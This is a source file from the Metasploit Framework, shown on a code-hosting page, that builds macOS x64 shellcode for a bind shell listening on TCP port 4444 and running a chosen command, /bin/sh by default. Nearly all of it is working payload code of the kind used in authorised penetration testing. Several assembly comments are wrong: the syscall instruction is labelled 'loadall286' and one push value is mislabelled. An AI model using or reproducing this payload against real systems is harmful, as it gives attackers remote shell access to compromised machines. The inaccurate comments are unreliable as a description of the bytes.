Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/osx/x64/shell_bind_tcp.rb
19535 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 136
8
9
include Msf::Payload::Single
10
include Msf::Payload::Osx
11
include Msf::Sessions::CommandShellOptions
12
13
def initialize(info = {})
14
super(
15
merge_info(
16
info,
17
'Name' => 'OS X x64 Shell Bind TCP',
18
'Description' => 'Bind an arbitrary command to an arbitrary port',
19
'Author' => 'nemo <nemo[at]felinemenace.org>',
20
'License' => MSF_LICENSE,
21
'Platform' => 'osx',
22
'Arch' => ARCH_X64,
23
'Handler' => Msf::Handler::BindTcp,
24
'Session' => Msf::Sessions::CommandShellUnix
25
)
26
)
27
28
# exec payload options
29
register_options(
30
[
31
OptString.new('CMD', [ true, 'The command string to execute', '/bin/sh' ]),
32
Opt::LPORT(4444)
33
]
34
)
35
end
36
37
# build the shellcode payload dynamically based on the user-provided CMD
38
def generate(_opts = {})
39
cmd = (datastore['CMD'] || '') + "\x00"
40
port = [datastore['LPORT'].to_i].pack('n')
41
call = "\xe8" + [cmd.length].pack('V')
42
"\xB8\x61\x00\x00\x02" + # mov eax,0x2000061
43
"\x6A\x02" + # push byte 0x1
44
"\x5f" + # pop rdi
45
"\x6A\x01" + # push byte 0x1
46
"\x5e" + # pop rsi
47
"\x48\x31\xD2" + # xor rdx,rdx
48
"\x0F\x05" + # loadall286
49
"\x48\x89\xC7" + # mov rdi,rax
50
"\xB8\x68\x00\x00\x02" + # mov eax,0x2000068
51
"\x48\x31\xF6" + # xor rsi,rsi
52
"\x56" + # push rsi
53
"\xBE\x00\x02" + port + # mov esi,0xb3150200
54
"\x56" + # push rsi
55
"\x48\x89\xE6" + # mov rsi,rsp
56
"\x6A\x10" + # push 0x10
57
"\x5A" + # pop rdx
58
"\x0F\x05" + # loadall286
59
"\xB8\x6A\x00\x00\x02" + # mov eax,0x200006a
60
"\x48\x31\xF6" + # xor rsi,rsi
61
"\x48\xFF\xC6" + # inc rsi
62
"\x49\x89\xFC" + # mov r12,rdi
63
"\x0F\x05" + # loadall286
64
"\xB8\x1E\x00\x00\x02" + # mov eax,0x200001e
65
"\x4C\x89\xE7" + # mov rdi,r12
66
"\x48\x89\xE6" + # mov rsi,rsp
67
"\x48\x89\xE2" + # mov rdx,rsp
68
"\x48\x83\xEA\x04" + # sub rdx,byte +0x4
69
"\x0F\x05" + # loadall286
70
"\x48\x89\xC7" + # mov rdi,rax
71
"\xB8\x5A\x00\x00\x02" + # mov eax,0x200005a
72
"\x48\x31\xF6" + # xor rsi,rsi
73
"\x0F\x05" + # loadall286
74
"\xB8\x5A\x00\x00\x02" + # mov eax,0x200005a
75
"\x48\xFF\xC6" + # inc rsi
76
"\x0F\x05" + # loadall286
77
"\x48\x31\xC0" + # xor rax,rax
78
"\xB8\x3B\x00\x00\x02" + # mov eax,0x200003b
79
call + # call CMD.len
80
cmd + # CMD
81
"\x48\x8b\x3c\x24" + # mov rdi, [rsp]
82
"\x48\x31\xD2" + # xor rdx,rdx
83
"\x52" + # push rdx
84
"\x57" + # push rdi
85
"\x48\x89\xE6" + # mov rsi,rsp
86
"\x0F\x05" # loadall286
87
end
88
end
89
90